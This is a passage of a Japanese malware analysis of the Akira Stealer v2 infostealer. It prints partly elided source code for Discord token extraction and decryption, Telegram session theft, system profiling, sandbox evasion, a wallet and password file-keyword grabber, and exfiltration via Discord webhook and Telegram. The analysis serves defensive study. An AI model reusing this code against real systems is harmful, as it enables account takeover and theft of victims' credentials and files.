初期化とパスの列挙",[532,8527,868],{},[532,8529,8530],{},"インスタンス化されると、コンストラクターは2組の標的パスを構築します。",[588,8532,8534],{"className":4486,"code":8533,"language":4488,"meta":594,"style":594},"# Discord client LevelDB directories\ndiscord_paths = [\n    [f\"{self.ROAMING}/Discord\", \"/Local Storage/leveldb\"],\n    [f\"{self.ROAMING}/Lightcord\", \"/Local Storage/leveldb\"],\n    ...\n]\n\n# Chromium-based browser LevelDB directories\nbrowserPaths = [\n    [f\"{self.ROAMING}/Opera Software/Opera GX Stable\", \"opera.exe\", \"/Local Storage/leveldb\", ...],\n    [f\"{self.LOCAL}/Google/Chrome/User Data\", \"chrome.exe\", \"/Default/Local Storage/leveldb\", ...],\n    ...\n]\n",[550,8535,8536,8541,8546,8551,8556,8560,8564,8568,8573,8578,8583,8588,8592],{"__ignoreMap":594},[1680,8537,8538],{"class":1682,"line":1683},[1680,8539,8540],{},"# Discord client LevelDB directories\n",[1680,8542,8543],{"class":1682,"line":2058},[1680,8544,8545],{},"discord_paths = [\n",[1680,8547,8548],{"class":1682,"line":2064},[1680,8549,8550],{},"    [f\"{self.ROAMING}/Discord\", \"/Local Storage/leveldb\"],\n",[1680,8552,8553],{"class":1682,"line":2070},[1680,8554,8555],{},"    [f\"{self.ROAMING}/Lightcord\", \"/Local Storage/leveldb\"],\n",[1680,8557,8558],{"class":1682,"line":2393},[1680,8559,3833],{},[1680,8561,8562],{"class":1682,"line":2399},[1680,8563,7913],{},[1680,8565,8566],{"class":1682,"line":3051},[1680,8567,3843],{"emptyLinePlaceholder":325},[1680,8569,8570],{"class":1682,"line":3846},[1680,8571,8572],{},"# Chromium-based browser LevelDB directories\n",[1680,8574,8575],{"class":1682,"line":3852},[1680,8576,8577],{},"browserPaths = [\n",[1680,8579,8580],{"class":1682,"line":4099},[1680,8581,8582],{},"    [f\"{self.ROAMING}/Opera Software/Opera GX Stable\", \"opera.exe\", \"/Local Storage/leveldb\", ...],\n",[1680,8584,8585],{"class":1682,"line":5020},[1680,8586,8587],{},"    [f\"{self.LOCAL}/Google/Chrome/User Data\", \"chrome.exe\", \"/Default/Local Storage/leveldb\", ...],\n",[1680,8589,8590],{"class":1682,"line":5026},[1680,8591,3833],{},[1680,8593,8594],{"class":1682,"line":5032},[1680,8595,7913],{},[604,8597,8598,8608],{},[607,8599,8600,8603,8604,8607],{},[539,8601,8602],{},"Discordのパス"," は、",[550,8605,8606],{},"%APPDATA%"," 配下の公式・非公式のDiscordクライアントを標的にします。",[607,8609,8610,8613],{},[539,8611,8612],{},"ブラウザーのパス"," は、人気のブラウザーのユーザーデータフォルダーを、ローカルストレージや拡張機能のサブフォルダーを含めて網羅します。",[532,8615,8616],{},"各エントリに対してスレッドが起動されます。",[588,8618,8620],{"className":4486,"code":8619,"language":4488,"meta":594,"style":594},"for patt in browserPaths:\n    t = Thread(target=self.get_btoken, args=[patt[0], patt[2]])\n    t.start()\nfor patt in discord_paths:\n    t = Thread(target=self.get_discord, args=[patt[0], patt[1]])\n    t.start()\n",[550,8621,8622,8627,8632,8637,8642,8647],{"__ignoreMap":594},[1680,8623,8624],{"class":1682,"line":1683},[1680,8625,8626],{},"for patt in browserPaths:\n",[1680,8628,8629],{"class":1682,"line":2058},[1680,8630,8631],{},"    t = Thread(target=self.get_btoken, args=[patt[0], patt[2]])\n",[1680,8633,8634],{"class":1682,"line":2064},[1680,8635,8636],{},"    t.start()\n",[1680,8638,8639],{"class":1682,"line":2070},[1680,8640,8641],{},"for patt in discord_paths:\n",[1680,8643,8644],{"class":1682,"line":2393},[1680,8645,8646],{},"    t = Thread(target=self.get_discord, args=[patt[0], patt[1]])\n",[1680,8648,8649],{"class":1682,"line":2399},[1680,8650,8636],{},[532,8652,8653],{},"このスレッドモデルはI/Oスループットを最大化し、数十のディレクトリを同時に調べます。",[862,8655,8657],{"id":8656},"_792-トークン抽出のロジック","7.9.2 トークン抽出のロジック",[532,8659,868],{},[532,8661,8662],{},[539,8663,8664],{},"ブラウザーからの平文トークンの抜き取り",[532,8666,8667,8670,8671,8674,8675,8678],{},[550,8668,8669],{},"get_btoken(path, arg)"," は各LevelDBフォルダーへ移動し、",[550,8672,8673],{},".log"," ファイルと ",[550,8676,8677],{},".ldb"," ファイルを調べます。",[588,8680,8682],{"className":4486,"code":8681,"language":4488,"meta":594,"style":594},"for file in os.listdir(path + arg):\n    if file.endswith((\".log\", \".ldb\")):\n        for line in open(f\"{path}{arg}/{file}\", errors=\"ignore\"):\n            for regex in (r\"[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{25,110}\", r\"mfa\\.[\\w-]{80,95}\"):\n                tokens = re.findall(regex, line)\n                for token in tokens:\n                    self.tokens.append(token)\n                    self.cehckToken(token)\n",[550,8683,8684,8689,8694,8699,8704,8709,8714,8719],{"__ignoreMap":594},[1680,8685,8686],{"class":1682,"line":1683},[1680,8687,8688],{},"for file in os.listdir(path + arg):\n",[1680,8690,8691],{"class":1682,"line":2058},[1680,8692,8693],{},"    if file.endswith((\".log\", \".ldb\")):\n",[1680,8695,8696],{"class":1682,"line":2064},[1680,8697,8698],{},"        for line in open(f\"{path}{arg}/{file}\", errors=\"ignore\"):\n",[1680,8700,8701],{"class":1682,"line":2070},[1680,8702,8703],{},"            for regex in (r\"[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{25,110}\", r\"mfa\\.[\\w-]{80,95}\"):\n",[1680,8705,8706],{"class":1682,"line":2393},[1680,8707,8708],{},"                tokens = re.findall(regex, line)\n",[1680,8710,8711],{"class":1682,"line":2399},[1680,8712,8713],{},"                for token in tokens:\n",[1680,8715,8716],{"class":1682,"line":3051},[1680,8717,8718],{},"                    self.tokens.append(token)\n",[1680,8720,8721],{"class":1682,"line":3846},[1680,8722,8723],{},"                    self.cehckToken(token)\n",[604,8725,8726,8735,8743],{},[607,8727,8728,8734],{},[539,8729,8730,8731],{},"正規表現 ",[550,8732,8733],{},"[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{25,110}"," は標準的なDiscordトークンに一致します。",[607,8736,8737,8742],{},[539,8738,8730,8739],{},[550,8740,8741],{},"mfa\\.[\\w-]{80,95}"," はMFAトークンを捕捉します。",[607,8744,8745,8746,8749],{},"重複排除は暗黙的です。トークンは検証の前に ",[550,8747,8748],{},"self.tokens"," に格納されます。",[532,8751,8752],{},[539,8753,8754],{},"Discordクライアント内の暗号化トークンの復号",[532,8756,8757,8758,8760,8761,8763,8764,8767],{},"Discordのクライアントは、Local Storageのエントリを ",[550,8759,6489],{}," または ",[550,8762,6493],{}," を接頭辞としてDPAPIで暗号化します。",[550,8765,8766],{},"get_discord(path, arg)"," がこれを扱います。",[588,8769,8771],{"className":4486,"code":8770,"language":4488,"meta":594,"style":594},"# Read Local State to obtain encrypted master key\nwith open(path + \"/Local State\", 'r') as f:\n    local_state = json.load(f)\nencrypted_key = b64decode(local_state['os_crypt']['encrypted_key'])[5:]\nmaster_key = self.CryptUnprotectData(encrypted_key)\n\n# Iterate LevelDB files for Base64 payloads\nfor file in os.listdir(path + arg):\n    if file.endswith((\".log\", \".ldb\")):\n        for line in open(f\"{path}{arg}/{file}\"):\n            for token_part in re.findall(r\"dQw4w9WgXcQ:([A-Za-z0-9+/=]+)\", line):\n                ciphertext = b64decode(token_part)\n                token = self.decrypt_value(ciphertext, master_key)\n                self.tokens.append(token)\n                self.cehckToken(token)\n",[550,8772,8773,8778,8783,8787,8792,8797,8801,8806,8810,8814,8819,8824,8829,8834,8839],{"__ignoreMap":594},[1680,8774,8775],{"class":1682,"line":1683},[1680,8776,8777],{},"# Read Local State to obtain encrypted master key\n",[1680,8779,8780],{"class":1682,"line":2058},[1680,8781,8782],{},"with open(path + \"/Local State\", 'r') as f:\n",[1680,8784,8785],{"class":1682,"line":2064},[1680,8786,7089],{},[1680,8788,8789],{"class":1682,"line":2070},[1680,8790,8791],{},"encrypted_key = b64decode(local_state['os_crypt']['encrypted_key'])[5:]\n",[1680,8793,8794],{"class":1682,"line":2393},[1680,8795,8796],{},"master_key = self.CryptUnprotectData(encrypted_key)\n",[1680,8798,8799],{"class":1682,"line":2399},[1680,8800,3843],{"emptyLinePlaceholder":325},[1680,8802,8803],{"class":1682,"line":3051},[1680,8804,8805],{},"# Iterate LevelDB files for Base64 payloads\n",[1680,8807,8808],{"class":1682,"line":3846},[1680,8809,8688],{},[1680,8811,8812],{"class":1682,"line":3852},[1680,8813,8693],{},[1680,8815,8816],{"class":1682,"line":4099},[1680,8817,8818],{},"        for line in open(f\"{path}{arg}/{file}\"):\n",[1680,8820,8821],{"class":1682,"line":5020},[1680,8822,8823],{},"            for token_part in re.findall(r\"dQw4w9WgXcQ:([A-Za-z0-9+/=]+)\", line):\n",[1680,8825,8826],{"class":1682,"line":5026},[1680,8827,8828],{},"                ciphertext = b64decode(token_part)\n",[1680,8830,8831],{"class":1682,"line":5032},[1680,8832,8833],{},"                token = self.decrypt_value(ciphertext, master_key)\n",[1680,8835,8836],{"class":1682,"line":5038},[1680,8837,8838],{},"                self.tokens.append(token)\n",[1680,8840,8841],{"class":1682,"line":5044},[1680,8842,8843],{},"                self.cehckToken(token)\n",[604,8845,8846,8855],{},[607,8847,8848,8851,8852,8854],{},[539,8849,8850],{},"マスターキーの復元",": 5バイトのDPAPIヘッダーを取り除き、",[550,8853,7156],{},"（Windows DPAPIをラップ）を呼び出してAES-GCM鍵を復号します。",[607,8856,8857,8860,8861,8864,8865,8868,8869],{},[539,8858,8859],{},"ペイロードの解析",": トークンには ",[550,8862,8863],{},"dQw4w9WgXcQ:","（攻撃者が選んだマーカー）が接頭辞として付いています。Base64デコードの後、",[550,8866,8867],{},"decrypt_value()"," がIVと暗号文を分離します。",[588,8870,8872],{"className":4486,"code":8871,"language":4488,"meta":594,"style":594},"def decrypt\\_value(buff, master\\_key):\niv = buff\\[3:15]\npayload = buff\\[15:]\ncipher = AES.new(master\\_key, AES.MODE\\_GCM, iv)\nreturn cipher.decrypt(payload)\\[:-16].decode()\n",[550,8873,8874,8879,8884,8889,8894],{"__ignoreMap":594},[1680,8875,8876],{"class":1682,"line":1683},[1680,8877,8878],{},"def decrypt\\_value(buff, master\\_key):\n",[1680,8880,8881],{"class":1682,"line":2058},[1680,8882,8883],{},"iv = buff\\[3:15]\n",[1680,8885,8886],{"class":1682,"line":2064},[1680,8887,8888],{},"payload = buff\\[15:]\n",[1680,8890,8891],{"class":1682,"line":2070},[1680,8892,8893],{},"cipher = AES.new(master\\_key, AES.MODE\\_GCM, iv)\n",[1680,8895,8896],{"class":1682,"line":2393},[1680,8897,8898],{},"return cipher.decrypt(payload)\\[:-16].decode()\n",[862,8900,8902],{"id":8901},"_793-トークンの検証と窃取","7.9.3 トークンの検証と窃取",[532,8904,868],{},[532,8906,8907],{},"抽出された各トークンは、ライブのAPI呼び出しで検証されます。",[588,8909,8912],{"className":8910,"code":8911,"language":593},[591],"headers = {\"Authorization\": token}\nresp = requests.get(\"https://discordapp.com/api/v9/users/@me\", headers=headers)\nif resp.status_code == 200:\n    self.cehckToken(token)\n",[550,8913,8911],{"__ignoreMap":594},[604,8915,8916],{},[607,8917,8918,620,8921,8924,8925,8928,8929],{},[539,8919,8920],{},"成功時",[550,8922,8923],{},"cehckToken()"," はTelegram（",[550,8926,8927],{},"useTg=True","）で送るかDiscord Webhookで送るかを判断します。",[588,8930,8932],{"className":4486,"code":8931,"language":4488,"meta":594,"style":594},"if useTg:\nself.sendTokenTg(token)\nelse:\nself.send\\_embed(token)\n",[550,8933,8934,8939,8944,8949],{"__ignoreMap":594},[1680,8935,8936],{"class":1682,"line":1683},[1680,8937,8938],{},"if useTg:\n",[1680,8940,8941],{"class":1682,"line":2058},[1680,8942,8943],{},"self.sendTokenTg(token)\n",[1680,8945,8946],{"class":1682,"line":2064},[1680,8947,8948],{},"else:\n",[1680,8950,8951],{"class":1682,"line":2070},[1680,8952,8953],{},"self.send\\_embed(token)\n",[604,8955,8956],{},[607,8957,8958,8963],{},[539,8959,8960],{},[550,8961,8962],{},"send_embed"," は、次のフィールドを使い、ユーザーのメタデータ（ユーザー名、ディスクリミネーター、メールアドレス、Nitroの状態、請求情報）を含むリッチなDiscordエンベッドを組み立てます。",[588,8965,8968],{"className":8966,"code":8967,"language":593},[591],"user_json = requests.get(...).json()\nusername = user_json[\"username\"]\nid = user_json[\"id\"]\n# embed fields: token, email, phone, IP, flags, Nitro, billing\n",[550,8969,8967],{"__ignoreMap":594},[604,8971,8972],{},[607,8973,8974,8979],{},[539,8975,8976],{},[550,8977,8978],{},"sendTokenTg"," は、Telegram API経由でプレーンテキストの要約を送ります。",[862,8981,8983],{"id":8982},"_794-telegramセッションの収集","7.9.4 Telegramセッションの収集",[532,8985,868],{},[532,8987,8988],{},"Discordトークンにとどまらず、スティーラーはTelegram Desktopのセッションも収集します。",[588,8990,8992],{"className":4486,"code":8991,"language":4488,"meta":594,"style":594},"@staticmethod\ndef steal_telegram():\n    src = f\"{os.getenv('APPDATA')}/Telegram Desktop/tdata\"\n    Utils.TaskKill(\"telegram.exe\")\n    shutil.copytree(src, os.path.join(Utils.get_temp_folder(), \"Telegram\"))\n",[550,8993,8994,8998,9003,9008,9013],{"__ignoreMap":594},[1680,8995,8996],{"class":1682,"line":1683},[1680,8997,4972],{},[1680,8999,9000],{"class":1682,"line":2058},[1680,9001,9002],{},"def steal_telegram():\n",[1680,9004,9005],{"class":1682,"line":2064},[1680,9006,9007],{},"    src = f\"{os.getenv('APPDATA')}/Telegram Desktop/tdata\"\n",[1680,9009,9010],{"class":1682,"line":2070},[1680,9011,9012],{},"    Utils.TaskKill(\"telegram.exe\")\n",[1680,9014,9015],{"class":1682,"line":2393},[1680,9016,9017],{},"    shutil.copytree(src, os.path.join(Utils.get_temp_folder(), \"Telegram\"))\n",[604,9019,9020,9026,9035],{},[607,9021,9022,9025],{},[539,9023,9024],{},"プロセスの終了",": ファイルロックが解放されるようにします。",[607,9027,9028,9031,9032,9034],{},[539,9029,9030],{},"再帰的なコピー",": ユーザーのセッション、連絡先、キャッシュされたメッセージを含む ",[550,9033,8266],{}," フォルダーを窃取します。",[607,9036,9037,9040,9041,9044],{},[539,9038,9039],{},"窃取",": 盗んだフォルダーはZIP化され、",[550,9042,9043],{},"sendFilesTG()"," 経由でアップロードされ、ダウンロードリンクがTelegramメッセージに埋め込まれます。",[532,9046,9047,9048,9050],{},"Akira Stealerの ",[550,9049,1319],{}," モジュールは、正規表現による抜き取り、DPAPIに支えられたAES-GCM復号、ライブのAPI検証、そして複数プロトコルにわたる窃取（Webhook + Telegram）を組み合わせ、DiscordとTelegramの両プラットフォームにまたがるシームレスなアカウント乗っ取り機能を実現します。",[714,9052,9054],{"id":9053},"_710-システムプロファイリング","7.10 システムプロファイリング",[532,9056,720],{},[532,9058,9059,9060,9063],{},"Akira Stealer v2は、ホストのメタデータ、環境属性、ネットワークの詳細を集める広範なシステムプロファイリングのフェーズを備えています。この情報は ",[550,9061,9062],{},"Data"," クラスにまとめられ、後に窃取した認証情報とともにパッケージされます。以下では、直接のコード参照とともにプロファイリングのロジックを分解します。",[862,9065,9067,9068,9070],{"id":9066},"_7101-data-クラスの初期化","7.10.1 ",[550,9069,9062],{}," クラスの初期化",[532,9072,868],{},[532,9074,9075,9076,9078],{},"起動時に ",[550,9077,9062],{}," のインスタンスが作成されます。",[588,9080,9082],{"className":4486,"code":9081,"language":4488,"meta":594,"style":594},"class Data:\n    def __init__(self):\n        self.username = os.getlogin()\n        self.computerName = os.getenv(\"computername\") or \"Unable to get computer name\"\n        self.system_info = f\"Computer Name: {self.computerName}\\n...\"\n        ...\n        self.ip = requests.get(url=\"https://api.ipify.org\").text\n        ipdata = json.loads(requests.post(url=f\"http://ip-api.com/json/{self.ip}\").text)\n        self.country = ipdata.get(\"country\")\n        self.countryCode = ipdata.get(\"countryCode\", \"\").lower()\n",[550,9083,9084,9089,9094,9099,9104,9109,9114,9119,9124,9129],{"__ignoreMap":594},[1680,9085,9086],{"class":1682,"line":1683},[1680,9087,9088],{},"class Data:\n",[1680,9090,9091],{"class":1682,"line":2058},[1680,9092,9093],{},"    def __init__(self):\n",[1680,9095,9096],{"class":1682,"line":2064},[1680,9097,9098],{},"        self.username = os.getlogin()\n",[1680,9100,9101],{"class":1682,"line":2070},[1680,9102,9103],{},"        self.computerName = os.getenv(\"computername\") or \"Unable to get computer name\"\n",[1680,9105,9106],{"class":1682,"line":2393},[1680,9107,9108],{},"        self.system_info = f\"Computer Name: {self.computerName}\\n...\"\n",[1680,9110,9111],{"class":1682,"line":2399},[1680,9112,9113],{},"        ...\n",[1680,9115,9116],{"class":1682,"line":3051},[1680,9117,9118],{},"        self.ip = requests.get(url=\"https://api.ipify.org\").text\n",[1680,9120,9121],{"class":1682,"line":3846},[1680,9122,9123],{},"        ipdata = json.loads(requests.post(url=f\"http://ip-api.com/json/{self.ip}\").text)\n",[1680,9125,9126],{"class":1682,"line":3852},[1680,9127,9128],{},"        self.country = ipdata.get(\"country\")\n",[1680,9130,9131],{"class":1682,"line":4099},[1680,9132,9133],{},"        self.countryCode = ipdata.get(\"countryCode\", \"\").lower()\n",[604,9135,9136,9148],{},[607,9137,9138,3252,9141,557,9144,9147],{},[539,9139,9140],{},"ユーザー名とホスト名:",[550,9142,9143],{},"os.getlogin()",[550,9145,9146],{},"COMPUTERNAME"," 環境変数を介して取得します。",[607,9149,9150,3252,9153,9156,9157,9159],{},[539,9151,9152],{},"IPアドレス:",[550,9154,9155],{},"requests.get(\"https://api.ipify.org\")"," で取得し、",[550,9158,5317],{}," で地理位置を特定して国名とISOコードを得ます。",[862,9161,9163],{"id":9162},"_7102-osとハードウェアの列挙","7.10.2 OSとハードウェアの列挙",[532,9165,868],{},[532,9167,9168],{},"Windows Management Instrumentation（WMI）コマンドを使います。",[588,9170,9172],{"className":4486,"code":9171,"language":4488,"meta":594,"style":594},"# Operating System\nself.computerOS = subprocess.run('wmic os get Caption', shell=True, capture_output=True).stdout\n# Total Physical Memory\nself.totalMemory = subprocess.run('wmic computersystem get totalphysicalmemory', ...)\n# BIOS UUID\nself.uuid = subprocess.run('wmic csproduct get uuid', ...)\n# CPU Identifier\nself.cpu = subprocess.run(\"powershell Get-ItemPropertyValue -Path 'HKLM:System...\\Processor_Identifier'\", ...)\n# GPU Name\nself.gpu = subprocess.run('wmic path win32_VideoController get name', ...)\n# Windows Product Key\nself.productKey = subprocess.run(\"powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\\\\Microsoft\\\\Windows NT...SoftwareProtectionPlatform' -Name BackupProductKeyDefault\", ...)\n",[550,9173,9174,9179,9184,9189,9194,9199,9204,9209,9214,9219,9224,9229],{"__ignoreMap":594},[1680,9175,9176],{"class":1682,"line":1683},[1680,9177,9178],{},"# Operating System\n",[1680,9180,9181],{"class":1682,"line":2058},[1680,9182,9183],{},"self.computerOS = subprocess.run('wmic os get Caption', shell=True, capture_output=True).stdout\n",[1680,9185,9186],{"class":1682,"line":2064},[1680,9187,9188],{},"# Total Physical Memory\n",[1680,9190,9191],{"class":1682,"line":2070},[1680,9192,9193],{},"self.totalMemory = subprocess.run('wmic computersystem get totalphysicalmemory', ...)\n",[1680,9195,9196],{"class":1682,"line":2393},[1680,9197,9198],{},"# BIOS UUID\n",[1680,9200,9201],{"class":1682,"line":2399},[1680,9202,9203],{},"self.uuid = subprocess.run('wmic csproduct get uuid', ...)\n",[1680,9205,9206],{"class":1682,"line":3051},[1680,9207,9208],{},"# CPU Identifier\n",[1680,9210,9211],{"class":1682,"line":3846},[1680,9212,9213],{},"self.cpu = subprocess.run(\"powershell Get-ItemPropertyValue -Path 'HKLM:System...\\Processor_Identifier'\", ...)\n",[1680,9215,9216],{"class":1682,"line":3852},[1680,9217,9218],{},"# GPU Name\n",[1680,9220,9221],{"class":1682,"line":4099},[1680,9222,9223],{},"self.gpu = subprocess.run('wmic path win32_VideoController get name', ...)\n",[1680,9225,9226],{"class":1682,"line":5020},[1680,9227,9228],{},"# Windows Product Key\n",[1680,9230,9231],{"class":1682,"line":5026},[1680,9232,9233],{},"self.productKey = subprocess.run(\"powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\\\\Microsoft\\\\Windows NT...SoftwareProtectionPlatform' -Name BackupProductKeyDefault\", ...)\n",[532,9235,9236,9237,9240],{},"結果は人間が読める文字列に解析され（",[550,9238,9239],{},"strip()","、インデックス操作）、次のように連結されます。",[588,9242,9244],{"className":4486,"code":9243,"language":4488,"meta":594,"style":594},"self.system_info = (\n    f\"Computer Name: {self.computerName}\\n\"\n    f\"Total Memory: {self.totalMemory}\\n\"\n    f\"CPU: {self.cpu}\\n\"\n    f\"GPU: {self.gpu}\\n\"\n    f\"Product Key: {self.productKey}\"\n)\n",[550,9245,9246,9251,9256,9261,9266,9271,9276],{"__ignoreMap":594},[1680,9247,9248],{"class":1682,"line":1683},[1680,9249,9250],{},"self.system_info = (\n",[1680,9252,9253],{"class":1682,"line":2058},[1680,9254,9255],{},"    f\"Computer Name: {self.computerName}\\n\"\n",[1680,9257,9258],{"class":1682,"line":2064},[1680,9259,9260],{},"    f\"Total Memory: {self.totalMemory}\\n\"\n",[1680,9262,9263],{"class":1682,"line":2070},[1680,9264,9265],{},"    f\"CPU: {self.cpu}\\n\"\n",[1680,9267,9268],{"class":1682,"line":2393},[1680,9269,9270],{},"    f\"GPU: {self.gpu}\\n\"\n",[1680,9272,9273],{"class":1682,"line":2399},[1680,9274,9275],{},"    f\"Product Key: {self.productKey}\"\n",[1680,9277,9278],{"class":1682,"line":3051},[1680,9279,5238],{},[862,9281,9283],{"id":9282},"_7103-vm検出とアンチサンドボックスのチェック","7.10.3 VM検出とアンチサンドボックスのチェック",[532,9285,868],{},[532,9287,9288,9289,9291],{},"深いプロファイリングの前に、マルウェアは ",[550,9290,4658],{}," を呼び出して仮想化環境や解析環境を検出します。",[588,9293,9295],{"className":4486,"code":9294,"language":4488,"meta":594,"style":594},"if VmProtect.isVM(1):\n    sys.exit()\n",[550,9296,9297,9302],{"__ignoreMap":594},[1680,9298,9299],{"class":1682,"line":1683},[1680,9300,9301],{},"if VmProtect.isVM(1):\n",[1680,9303,9304],{"class":1682,"line":2058},[1680,9305,9306],{},"    sys.exit()\n",[532,9308,9309],{},"主なチェックは次のとおりです。",[604,9311,9312,9318,9324,9330],{},[607,9313,9314,9317],{},[539,9315,9316],{},"レジストリキーとドライバーの記述子",": 仮想化に関連するレジストリエントリを照会します。",[607,9319,9320,9323],{},[539,9321,9322],{},"ブラックリスト対象のUUIDとコンピューター名",": 既知のVMフィンガープリントと照合します。",[607,9325,9326,9329],{},[539,9327,9328],{},"HTTPシミュレーション",": HTTPSで存在しないドメインへの接続を試みます。",[607,9331,9332,9335,9336,620,9339,620,9342,9345],{},[539,9333,9334],{},"プロセスのブラックリスト",": バックグラウンドスレッドを起こし、",[550,9337,9338],{},"wireshark",[550,9340,9341],{},"ollydbg",[550,9343,9344],{},"ida64"," などのツールを終了させます。",[862,9347,9349],{"id":9348},"_7104-パッケージングと送信","7.10.4 パッケージングと送信",[532,9351,868],{},[532,9353,9354,9355,9358],{},"収集した ",[550,9356,9357],{},"system_info","、IP、国旗は、Webhookペイロードのヘッダーに埋め込まれます。",[588,9360,9362],{"className":4486,"code":9361,"language":4488,"meta":594,"style":594},"webhook_payload = {\n    \"embeds\": [{\n        \"title\": f\"💉 Infected {self.computerName}/{self.username} | {self.ip} {flag}\",\n        \"description\": description + \"\\n```⚙️ System Info\\n\" + self.system_info + \"```\",\n        \"fields\": [...]\n    }]\n}\nrequests.post(self.webhook_url, json=webhook_payload)\n",[550,9363,9364,9369,9374,9379,9384,9389,9394,9398],{"__ignoreMap":594},[1680,9365,9366],{"class":1682,"line":1683},[1680,9367,9368],{},"webhook_payload = {\n",[1680,9370,9371],{"class":1682,"line":2058},[1680,9372,9373],{},"    \"embeds\": [{\n",[1680,9375,9376],{"class":1682,"line":2064},[1680,9377,9378],{},"        \"title\": f\"💉 Infected {self.computerName}/{self.username} | {self.ip} {flag}\",\n",[1680,9380,9381],{"class":1682,"line":2070},[1680,9382,9383],{},"        \"description\": description + \"\\n```⚙️ System Info\\n\" + self.system_info + \"```\",\n",[1680,9385,9386],{"class":1682,"line":2393},[1680,9387,9388],{},"        \"fields\": [...]\n",[1680,9390,9391],{"class":1682,"line":2399},[1680,9392,9393],{},"    }]\n",[1680,9395,9396],{"class":1682,"line":3051},[1680,9397,2402],{},[1680,9399,9400],{"class":1682,"line":3846},[1680,9401,9402],{},"requests.post(self.webhook_url, json=webhook_payload)\n",[604,9404,9405,9411],{},[607,9406,9407,9410],{},[539,9408,9409],{},"国旗の絵文字",": ISOの国コードから導出されます。",[607,9412,9413,9416],{},[539,9414,9415],{},"フィールド",": 窃取したパスワードやCookieなどの件数を含みますが、システム情報は即座に文脈を把握できるようエンベッドの説明に置かれます。",[532,9418,9419,9422],{},[539,9420,9421],{},"まとめ:","\nAkira Stealer v2のシステムプロファイリングは、WMIコマンド、環境変数、IPの地理位置特定を通じて、ホストとネットワークの包括的なデータを集めます。VM検出やツール終了のルーチンと組み合わさることで、攻撃者は侵害した環境の完全なスナップショットを得られ、標的を絞った後続の行動が強化され、解析用サンドボックスが除外されます。",[714,9424,9426,9427,2012],{"id":9425},"_711-ファイルグラバークラス-utilssteal_files","7.11 ファイルグラバー（クラス: ",[550,9428,9429],{},"Utils.steal_files",[532,9431,720],{},[532,9433,9434],{},"ブラウザーデータやトークンにとどまらず、Akiraは価値あるユーザー生成コンテンツ（ドキュメント、スプレッドシート、プライベートなメモ、暗号鍵ファイルなど）の抽出も試みます。ファイルグラバーモジュールがこの役目を担います。高価値のディレクトリを走査して一般的なファイルの種類とパターンを探し、それらを静かに窃取用のバンドルに加えます。このモジュールを特に危険にしているのは、その単純さと的の絞り方です。ファイルシステム全体をクロールしようとはしません。代わりに、機微なファイルが通常保存されている特定の、可能性の高い場所を狙います。これにはデスクトップ、ドキュメント、ダウンロード、OneDriveの各ディレクトリが含まれ、いずれもユーザーのホームパスからの相対で指定されます。この的を絞ったアプローチは速度とステルス性の両方を高め、走査中に検出される可能性を下げます。システムディレクトリや保護されたディレクトリにアクセスしないことで、ユーザーへの警告も避けます。関心のあるファイルが見つかると、一時フォルダーにコピーされ、必要に応じて名前を変えたりまとめられたりし、後に窃取フェーズでアップロードされる最終的なZIPアーカイブに圧縮されます。",[862,9436,9438],{"id":9437},"_7111-標的ディレクトリの列挙","7.11.1 標的ディレクトリの列挙",[532,9440,868],{},[532,9442,9443],{},"スティーラーは、実りの多い4つのフォルダーに的を絞ります。",[588,9445,9447],{"className":4486,"code":9446,"language":4488,"meta":594,"style":594},"searchFolders = [\n    \"Desktop\",\n    \"Documents\",\n    \"Downloads\",\n    \"OneDrive\"\n]\n",[550,9448,9449,9454,9459,9464,9469,9474],{"__ignoreMap":594},[1680,9450,9451],{"class":1682,"line":1683},[1680,9452,9453],{},"searchFolders = [\n",[1680,9455,9456],{"class":1682,"line":2058},[1680,9457,9458],{},"    \"Desktop\",\n",[1680,9460,9461],{"class":1682,"line":2064},[1680,9462,9463],{},"    \"Documents\",\n",[1680,9465,9466],{"class":1682,"line":2070},[1680,9467,9468],{},"    \"Downloads\",\n",[1680,9470,9471],{"class":1682,"line":2393},[1680,9472,9473],{},"    \"OneDrive\"\n",[1680,9475,9476],{"class":1682,"line":2399},[1680,9477,7913],{},[532,9479,9480],{},"各フォルダーは、被害者のホームディレクトリからの相対として解釈されます。",[588,9482,9484],{"className":4486,"code":9483,"language":4488,"meta":594,"style":594},"for folder in searchFolders:\n    current_path = os.path.join(os.environ['USERPROFILE'], folder)\n    if os.path.exists(current_path):\n        # proceed to scan\n",[550,9485,9486,9491,9496,9501],{"__ignoreMap":594},[1680,9487,9488],{"class":1682,"line":1683},[1680,9489,9490],{},"for folder in searchFolders:\n",[1680,9492,9493],{"class":1682,"line":2058},[1680,9494,9495],{},"    current_path = os.path.join(os.environ['USERPROFILE'], folder)\n",[1680,9497,9498],{"class":1682,"line":2064},[1680,9499,9500],{},"    if os.path.exists(current_path):\n",[1680,9502,9503],{"class":1682,"line":2070},[1680,9504,9505],{},"        # proceed to scan\n",[862,9507,9509],{"id":9508},"_7112-キーワードと拡張子によるフィルタリング","7.11.2 キーワードと拡張子によるフィルタリング",[532,9511,868],{},[532,9513,9514],{},[539,9515,9516],{},"キーワードのリスト",[532,9518,9519],{},"あらかじめ定義された部分文字列の集合がファイルの選択を導きます。少なくとも1つのキーワードを含むファイル名だけが対象になります。",[588,9521,9523],{"className":4486,"code":9522,"language":4488,"meta":594,"style":594},"keywordsFiles = [\n    \"passw\", \"seed\", \"mnemo\", \"phrase\", \"login\", \"wallet\",\n    \"crypto\", \"token\", \"backup\", \"secret\", \"account\"\n]\n",[550,9524,9525,9530,9535,9540],{"__ignoreMap":594},[1680,9526,9527],{"class":1682,"line":1683},[1680,9528,9529],{},"keywordsFiles = [\n",[1680,9531,9532],{"class":1682,"line":2058},[1680,9533,9534],{},"    \"passw\", \"seed\", \"mnemo\", \"phrase\", \"login\", \"wallet\",\n",[1680,9536,9537],{"class":1682,"line":2064},[1680,9538,9539],{},"    \"crypto\", \"token\", \"backup\", \"secret\", \"account\"\n",[1680,9541,9542],{"class":1682,"line":2070},[1680,9543,7913],{},[604,9545,9546,9562],{},[607,9547,9548,975,9551,9554,9555,557,9558,9561],{},[539,9549,9550],{},"部分一致",[550,9552,9553],{},"passw"," のようなキーワードは、",[550,9556,9557],{},"passwords.txt",[550,9559,9560],{},"passw_backup.docx"," の両方を捕捉します。",[607,9563,9564,9567],{},[539,9565,9566],{},"広い網羅",": 